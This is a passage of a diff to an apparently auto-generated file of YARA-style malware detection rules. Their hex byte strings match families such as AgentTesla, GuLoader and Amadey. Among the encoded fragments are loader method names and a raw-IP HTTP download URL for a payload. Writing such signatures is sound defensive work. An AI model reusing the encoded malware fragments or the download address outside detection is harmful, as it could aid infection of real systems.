00 78 a1 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 4d 51 21 62 69 74 00 01 00 1e 01 5c 73 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 } //20572 + $a_a1_4 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 4d 51 21 62 69 74 00 01 00 1e 01 5c 73 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 72 70 63 73 73 01 00 13 01 52 75 6e 57 69 6e 43 68 61 63 6b 41 70 70 50 61 74 63 68 01 00 0c 01 73 65 72 76 69 63 65 73 2e 65 78 65 01 00 28 01 } //0 + $a_d2_5 = {21 52 3a 0a 74 17 3a 4a 01 74 11 3a 4a 02 74 0b 3a 4a 03 74 05 83 c2 04 eb e8 42 42 42 89 d1 5a 29 d1 e9 00 00 78 a1 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 4d 52 33 21 4d 54 42 00 01 00 1b 80 01 2f 2f 6f 74 74 2e 78 73 66 61 79 61 2e 63 6f 6d 2f 56 58 73 68 66 31 57 39 6b 55 01 00 09 80 01 58 73 50 69 61 2e 65 78 65 01 00 0e 80 01 54 } //-14031 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_a1_4 & 1)*0+(#a_6f_5 & 1)*20572) >=3 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_a1_4 & 1)*0+(#a_d2_5 & 1)*-14031) >=3 } -rule _InfrastructureShared_11126{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_46_0 = {50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 61 77 33 36 00 02 00 37 80 01 44 3a 5c 77 6f 72 6b 73 70 61 63 65 5c 73 76 6e 5c 70 68 6f 74 6f 76 69 65 77 65 72 5c 62 69 6e 5c 52 65 6c 65 } //16675 - $a_5c_1 = {65 63 65 6e 74 76 69 65 77 2e 70 64 62 01 00 22 80 01 53 6f 66 74 77 61 72 65 5c 50 68 6f 74 6f 56 69 65 77 65 72 5c 55 70 64 61 74 65 43 68 65 63 6b 65 72 01 00 09 80 01 73 6b 69 6e 33 2e 6a 70 67 00 00 78 a1 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //29537 - $a_6c_2 = {2e 4d 51 21 62 69 74 00 01 00 1e 01 5c 73 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 72 70 63 73 73 01 00 13 01 52 75 6e 57 69 6e 43 68 61 63 6b 41 70 70 50 61 74 63 68 01 00 0c 01 73 65 72 76 69 63 65 73 2e 65 78 65 01 00 28 01 31 c9 85 d2 74 21 52 3a 0a 74 17 3a 4a 01 74 11 } //17455 - condition: - ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*29537+(#a_6c_2 & 1)*17455) >=4 - -} -rule _InfrastructureShared_11127{ +rule _InfrastructureShared_11842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122035,7 +130011,7 @@ rule _InfrastructureShared_11127{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*25441+(#a_42_2 & 1)*19745+(#a_72_3 & 1)*30044) >=4 } -rule _InfrastructureShared_11128{ +rule _InfrastructureShared_11843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122048,7 +130024,7 @@ rule _InfrastructureShared_11128{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*-32754+(#a_6f_2 & 1)*27491+(#a_67_3 & 1)*30817) >=4 } -rule _InfrastructureShared_11129{ +rule _InfrastructureShared_11844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122060,20 +130036,33 @@ rule _InfrastructureShared_11129{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*117+(#a_01_3 & 1)*10752) >=4 } -rule _InfrastructureShared_11130{ +rule _InfrastructureShared_11845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 35 31 33 21 4d 54 42 00 01 00 2a 81 01 52 69 69 63 68 69 53 68 61 72 70 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 } //18467 - $a_01_1 = {53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 01 00 25 81 01 24 37 35 62 37 36 32 32 61 2d 38 62 62 63 2d 34 61 66 66 2d 39 65 39 37 2d 66 30 32 36 65 62 31 62 36 30 65 63 00 00 78 a1 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 55 4b 39 38 00 01 00 17 81 01 72 61 64 6f 6c 66 20 74 72 69 6c 6c 69 6e 67 65 73 } //1536 + $a_01_1 = {53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 01 00 25 81 01 24 37 35 62 37 36 32 32 61 2d 38 62 62 63 2d 34 61 66 66 2d 39 65 39 37 2d 66 30 32 36 65 62 31 62 36 30 65 63 00 00 78 a1 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 41 45 30 31 21 4d 54 42 00 01 00 07 81 01 75 6e 6c 6f 75 73 79 01 00 20 81 01 74 } //1536 + $a_67_2 = {69 67 20 62 6f 72 64 68 65 72 72 65 6e 73 20 65 70 69 63 65 72 61 73 74 69 63 01 00 0f 81 01 72 68 6f 64 79 6d 65 6e 69 61 63 65 6f 75 73 01 00 28 81 01 75 6e 74 65 64 69 6f 75 73 6c 79 20 75 6e 69 72 61 73 63 69 62 69 6c 69 74 79 20 75 6e 73 74 69 67 6d 61 74 69 73 65 64 00 00 78 a1 00 00 } //25971 + $a_00_3 = {04 00 21 23 } //4 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1536+(#a_67_2 & 1)*25971+(#a_00_3 & 1)*4) >=4 + +} +rule _InfrastructureShared_11846{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 41 45 30 31 21 4d 54 42 00 01 00 07 81 01 75 6e 6c 6f 75 73 79 01 00 20 81 01 74 73 65 61 67 74 69 67 20 62 6f 72 64 68 65 72 72 65 6e 73 20 65 70 69 63 65 72 61 73 74 69 63 01 } //18467 + $a_01_1 = {72 68 6f 64 79 6d 65 6e 69 61 63 65 6f 75 73 01 00 28 81 01 75 6e 74 65 64 69 6f 75 73 6c 79 20 75 6e 69 72 61 73 63 69 62 69 6c 69 74 79 20 75 6e 73 74 69 67 6d 61 74 69 73 65 64 00 00 78 a1 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 55 4b 39 38 00 01 00 17 81 01 72 61 64 6f 6c 66 20 74 72 69 6c 6c 69 6e 67 65 73 } //3840 $a_6e_2 = {65 01 00 0d 81 01 76 69 65 74 6e 61 6d 65 73 65 72 6e 65 01 00 1c 81 01 72 65 67 6e 73 6b 61 62 73 6c 6f 76 65 73 20 6d 61 74 65 72 69 61 6c 65 72 6e 65 73 01 00 22 81 01 5c 70 72 6f 74 6f 74 79 70 65 74 65 6b 6e 69 6b 5c 49 6e 63 61 72 6e 61 6c 69 73 69 6e 67 2e 4f 68 69 00 00 78 a1 00 00 04 00 04 00 } //27507 $a_23_3 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4a 46 31 32 33 21 4d 54 42 00 01 00 } //4 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1536+(#a_6e_2 & 1)*27507+(#a_23_3 & 1)*4) >=4 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3840+(#a_6e_2 & 1)*27507+(#a_23_3 & 1)*4) >=4 } -rule _InfrastructureShared_11131{ +rule _InfrastructureShared_11847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122086,7 +130075,7 @@ rule _InfrastructureShared_11131{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29550+(#a_72_2 & 1)*-32478+(#a_6f_3 & 1)*30571) >=4 } -rule _InfrastructureShared_11132{ +rule _InfrastructureShared_11848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122099,7 +130088,7 @@ rule _InfrastructureShared_11132{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26400+(#a_4e_2 & 1)*5888+(#a_76_3 & 1)*28005) >=4 } -rule _InfrastructureShared_11133{ +rule _InfrastructureShared_11849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122112,7 +130101,7 @@ rule _InfrastructureShared_11133{ ((#a_77_0 & 1)*19491+(#a_65_1 & 1)*29295+(#a_00_2 & 1)*104+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_11134{ +rule _InfrastructureShared_11850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122125,21 +130114,48 @@ rule _InfrastructureShared_11134{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1424+(#a_6f_2 & 1)*28704+(#a_65_3 & 1)*25185) >=4 } -rule _InfrastructureShared_11135{ +rule _InfrastructureShared_11851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {48 53 54 52 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 44 4e 53 55 6e 6c 6f 63 6b 65 72 2e 41 00 01 00 0c 01 6d 75 6c 74 69 76 61 62 2e 65 78 65 01 00 14 01 5a 6f 6e 61 54 6f 6f 6c 73 2e 58 50 6c 6f 72 65 72 42 61 72 01 00 14 01 } //16675 - $a_74_1 = {76 61 62 2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 1e 01 70 69 63 61 62 75 2e 57 70 66 2e 54 61 73 6b 62 61 72 4e 6f 74 69 66 69 63 61 74 69 6f 6e 01 00 0d 01 6c 31 6c 69 6c 6c 69 49 69 6c 69 6c 49 00 00 78 a1 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e } //30061 - $a_31_2 = {4d 54 42 00 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 09 01 57 65 62 43 6c 69 65 6e 74 01 00 07 01 52 65 76 65 72 73 65 01 00 0c 01 4a 6e 68 6c 72 75 6b 70 2e 65 78 65 01 00 36 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 33 00 38 00 2e 00 32 00 35 00 35 00 } //21326 - $a_00_3 = {33 00 2e 00 32 00 33 00 2f 00 70 00 75 00 62 00 2e 00 77 00 61 00 76 00 00 00 78 a1 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c } //46 - $a_65_4 = {2e 4b 4c 4c 51 31 32 33 21 4d 54 42 00 01 00 2a 81 01 70 6f 6c 79 70 70 65 6e 73 20 68 65 6b 73 65 6b 75 6e 73 74 65 72 73 20 70 61 72 61 6d 65 74 65 72 69 6e 64 73 61 74 73 65 6e 01 00 14 81 01 73 75 70 70 6f 72 74 61 6e 63 65 20 61 6c 62 75 65 64 65 73 01 00 0c 81 01 70 6c 61 73 74 70 6f 73 65 72 } //24943 + $a_74_1 = {76 61 62 2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 1e 01 70 69 63 61 62 75 2e 57 70 66 2e 54 61 73 6b 62 61 72 4e 6f 74 69 66 69 63 61 74 69 6f 6e 01 00 0d 01 6c 31 6c 69 6c 6c 69 49 69 6c 69 6c 49 00 00 78 a1 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 } //30061 + $a_72_2 = {6e 61 2e 4b 53 38 35 00 01 00 0e 80 01 50 44 46 75 73 69 6f 6e 2e 4c 6f 67 69 63 01 00 17 80 01 50 44 46 75 73 69 6f 6e 2e 49 6e 66 72 61 73 74 72 75 63 74 75 72 65 01 00 0c 80 01 50 44 46 75 73 } //24937 + $a_2e_3 = {78 65 01 00 08 80 01 50 44 46 75 73 69 6f 6e 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 a1 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 4e 4d 53 21 4d 54 42 00 01 00 19 01 c3 83 e8 04 72 e5 8b 0a 33 cb bf ff } //28521 + $a_03_4 = {f9 83 f1 ff 33 cf 83 c2 04 01 00 1b 01 74 08 42 3b d3 72 de 83 ca ff 8b 45 08 8b c8 83 78 14 10 72 02 8b 08 33 c0 85 db 01 00 20 01 2b c8 8d 04 0a 33 d2 f7 f3 8b 5d ec 8b cb 83 7b 14 10 72 02 8b 0b 8a 04 32 8b 75 f4 88 04 31 46 02 00 13 03 50 83 ec 24 53 56 57 a1 90 01 04 33 c5 50 8d 45 f4 90 00 00 00 78 a1 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d } //-258 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*30061+(#a_31_2 & 1)*21326+(#a_00_3 & 1)*46+(#a_65_4 & 1)*24943) >=4 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*30061+(#a_72_2 & 1)*24937+(#a_2e_3 & 1)*28521+(#a_03_4 & 1)*-258) >=4 } -rule _InfrastructureShared_11136{ +rule _InfrastructureShared_11852{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 38 35 00 01 00 0e 80 01 50 44 46 75 73 69 6f 6e 2e 4c 6f 67 69 63 01 00 17 80 01 50 44 46 75 73 69 6f 6e 2e 49 6e 66 72 61 73 } //16675 + $a_63_1 = {75 72 65 01 00 0c 80 01 50 44 46 75 73 69 6f 6e 2e 65 78 65 01 00 08 80 01 50 44 46 75 73 69 6f 6e 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 a1 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 4e 4d 53 21 4d 54 42 00 01 00 19 01 c3 } //29300 + $a_72_2 = {8b 0a 33 cb } //-6013 + $a_fe_3 = {03 f9 83 f1 ff 33 cf 83 c2 04 01 00 1b 01 74 08 42 3b d3 72 de 83 ca ff 8b 45 08 8b c8 83 78 14 10 72 02 8b 08 33 c0 85 db 01 00 20 01 2b c8 8d 04 0a 33 d2 f7 f3 8b 5d ec 8b cb 83 7b 14 10 72 02 8b 0b 8a 04 32 8b 75 f4 88 04 31 46 02 00 13 03 50 83 ec 24 53 56 57 a1 90 01 04 33 c5 50 8d 45 f4 90 00 00 00 78 a1 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 53 5a 31 21 4d 54 42 00 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 09 01 57 65 62 43 6c 69 65 6e 74 01 00 07 01 52 65 76 65 72 73 65 01 00 0c 01 4a 6e 68 6c 72 75 6b 70 2e 65 78 65 01 00 36 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 33 00 38 00 2e 00 32 00 35 00 35 00 2e 00 34 00 33 00 2e 00 32 00 33 00 2f 00 70 00 75 } //-65 + $a_00_5 = {76 00 00 00 78 a1 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 51 31 32 33 21 4d 54 42 00 01 00 2a 81 01 70 6f 6c 79 70 70 65 6e 73 20 68 65 6b 73 65 6b 75 6e 73 74 65 72 73 20 70 61 72 61 6d 65 74 65 72 69 6e 64 73 61 74 73 65 6e 01 00 } //119 + condition: + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29300+(#a_72_2 & 1)*-6013+(#a_fe_3 & 1)*-65+(#a_00_5 & 1)*119) >=4 + +} +rule _InfrastructureShared_11853{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 4e 4d 53 21 4d 54 42 00 01 00 19 01 c3 83 e8 04 72 e5 8b 0a 33 cb bf ff fe fe 7e 03 f9 83 f1 ff 33 cf 83 c2 04 01 00 1b 01 74 08 42 3b d3 72 de 83 ca ff 8b 45 08 8b c8 } //16675 + $a_10_1 = {72 02 8b 08 33 c0 85 db 01 00 20 01 2b c8 8d 04 0a 33 d2 f7 } //30851 + $a_ec_2 = {cb 83 7b 14 10 72 02 8b 0b 8a 04 32 8b 75 f4 88 04 31 46 02 00 13 03 50 83 ec 24 53 56 57 a1 90 01 04 33 c5 50 8d 45 f4 90 00 00 00 78 a1 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 53 5a 31 21 4d 54 42 00 } //-29709 + $a_01_3 = {44 6f 77 6e 6c 6f 61 64 44 61 74 61 } //1 DownloadData + condition: + ((#a_46_0 & 1)*16675+(#a_10_1 & 1)*30851+(#a_ec_2 & 1)*-29709+(#a_01_3 & 1)*1) >=5 + +} +rule _InfrastructureShared_11854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -122152,7 +130168,7 @@ rule _InfrastructureShared_11136{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28779+(#a_00_3 & 1)*46+(#a_01_4 & 1)*25956) >=5 } -rule _InfrastructureShared_11137{ +rule _InfrastructureShared_11855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -122164,7 +130180,7 @@ rule _InfrastructureShared_11137{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28528+(#a_74_2 & 1)*24864) >=5 } -rule _InfrastructureShared_11138{ +rule _InfrastructureShared_11856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -122177,7 +130193,7 @@ rule _InfrastructureShared_11138{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*385+(#a_61_2 & 1)*27756+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_11139{ +rule _InfrastructureShared_11857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -122191,7 +130207,7 @@ rule _InfrastructureShared_11139{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28277+(#a_21_2 & 1)*12849+(#a_62_3 & 1)*-32495+(#a_65_4 & 1)*25966) >=5 } -rule _InfrastructureShared_11140{ +rule _InfrastructureShared_11858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -122205,7 +130221,7 @@ rule _InfrastructureShared_11140{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29285+(#a_00_2 & 1)*21581+(#a_00_3 & 1)*27745+(#a_79_4 & 1)*385) >=5 } -rule _InfrastructureShared_11141{ +rule _InfrastructureShared_11859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -122217,7 +130233,7 @@ rule _InfrastructureShared_11141{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*28526+(#a_65_2 & 1)*29545) >=5 } -rule _InfrastructureShared_11142{ +rule _InfrastructureShared_11860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -122231,7 +130247,7 @@ rule _InfrastructureShared_11142{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29541+(#a_65_2 & 1)*-32488+(#a_6d_3 & 1)*25710+(#a_ff_4 & 1)*-440) >=5 } -rule _InfrastructureShared_11143{ +rule _InfrastructureShared_11861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -122245,7 +130261,7 @@ rule _InfrastructureShared_11143{ ((#a_5f_0 & 1)*25635+(#a_ff_1 & 1)*1854+(#a_90_2 & 1)*5908+(#a_2e_3 & 1)*27763+(#a_65_4 & 1)*385) >=5 } -rule _InfrastructureShared_11144{ +rule _InfrastructureShared_11862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -122259,7 +130275,7 @@ rule _InfrastructureShared_11144{ ((#a_41_0 & 1)*20515+(#a_61_2 & 1)*19201+(#a_28_3 & 1)*529+(#a_05_4 & 1)*259+(#a_81_6 & 1)*1) >=5 } -rule _InfrastructureShared_11145{ +rule _InfrastructureShared_11863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -122274,7 +130290,7 @@ rule _InfrastructureShared_11145{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28233+(#a_dc_2 & 1)*8195+(#a_32_3 & 1)*13895+(#a_00_4 & 1)*6+(#a_54_5 & 1)*21076) >=6 } -rule _InfrastructureShared_11146{ +rule _InfrastructureShared_11864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -122282,26 +130298,42 @@ rule _InfrastructureShared_11146{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 49 55 30 30 31 30 21 4d 54 42 00 01 00 11 03 20 16 dc 01 00 13 90 03 01 01 05 06 2b 42 00 90 00 01 00 16 81 01 47 41 35 34 47 36 50 32 37 35 52 34 41 48 47 35 59 37 35 } //18467 $a_01_1 = {00 11 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 00 01 00 06 81 01 59 61 74 65 73 00 01 00 09 81 01 47 65 74 42 79 74 65 73 00 01 00 09 81 01 67 65 74 5f 44 61 72 7a 00 00 00 78 a1 00 00 06 00 06 00 06 00 } //16712 $a_53_2 = {52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 37 30 37 32 32 31 21 4d 54 42 00 01 00 16 81 01 5a 4a 38 58 37 37 48 4f 35 41 46 46 48 38 4b 48 37 34 41 42 32 34 01 00 0f 01 43 72 } //8993 - $a_65_3 = {65 63 72 79 70 74 6f 72 01 00 13 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 00 00 78 a1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 56 31 32 33 21 4d 54 42 } //24933 - $a_65_5 = {65 61 74 73 01 00 10 81 01 6b 75 6c 74 75 72 67 65 6f 67 72 61 66 69 65 6e 01 00 1f 81 01 61 72 63 74 69 69 64 20 64 69 73 74 69 63 68 6f 75 73 6c 79 20 64 72 79 73 61 6c 74 65 72 79 01 00 06 81 01 62 61 61 6c 65 74 01 00 13 81 01 72 65 66 72 6e 73 61 6e 67 65 6e 20 63 6f 62 68 65 61 64 01 00 0a 81 01 6c 69 74 68 6f 74 72 69 74 79 00 00 78 } //385 + $a_65_3 = {65 63 72 79 70 74 6f 72 01 00 13 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 00 00 78 a1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 46 30 } //24933 + $a_54_4 = {00 01 00 14 81 01 6b 65 6e 64 74 65 73 20 69 6d 70 65 72 76 69 6f 75 73 6c 79 01 00 0b 81 01 62 72 69 63 6b 73 65 74 74 65 72 01 00 0e 81 01 68 6a 6c 70 65 6b 61 73 73 65 72 6e 65 73 01 00 0d 81 01 75 64 65 66 69 6e 65 72 6c 69 67 } //8497 + $a_00_5 = {0e } //29811 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*16712+(#a_53_2 & 1)*8993+(#a_65_3 & 1)*24933+(#a_65_5 & 1)*385) >=6 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*16712+(#a_53_2 & 1)*8993+(#a_65_3 & 1)*24933+(#a_54_4 & 1)*8497+(#a_00_5 & 1)*29811) >=6 } -rule _InfrastructureShared_11147{ +rule _InfrastructureShared_11865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 37 30 37 32 32 31 21 4d 54 42 00 01 00 16 81 01 5a 4a 38 58 37 37 48 4f 35 41 46 46 48 38 4b 48 37 34 41 42 32 34 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f } //18467 - $a_6e_2 = {66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 00 00 78 a1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 56 31 32 33 21 4d } //29268 - $a_01_4 = {72 65 70 65 61 74 73 01 00 10 81 01 6b 75 6c 74 75 72 67 65 6f 67 72 61 66 69 65 6e 01 00 1f 81 01 61 72 63 74 69 69 64 20 64 69 73 74 69 63 68 6f 75 73 6c 79 20 64 72 79 73 61 6c 74 65 72 79 01 00 06 81 01 62 61 61 6c 65 74 01 00 13 81 01 72 65 66 72 6e 73 61 6e 67 65 6e 20 63 6f 62 68 65 61 64 01 00 0a 81 01 6c 69 74 68 6f 74 72 69 74 79 00 00 78 a1 00 00 0a 00 0a 00 0c 00 21 23 4c } //1792 - $a_69_5 = {48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 4c 4f 44 00 01 00 06 01 81 c0 f8 ff ff ff 01 00 06 01 81 c1 f8 ff ff ff 01 00 06 01 81 c2 f8 ff ff ff 01 00 06 01 81 c3 f8 ff ff ff 01 00 06 01 81 } //30575 + $a_6e_2 = {66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 54 79 70 65 73 00 00 78 a1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 } //29268 + $a_21_3 = {54 42 00 01 00 14 81 01 6b 65 6e 64 74 65 73 20 69 6d 70 65 72 76 69 6f 75 73 6c 79 01 00 0b 81 01 62 72 69 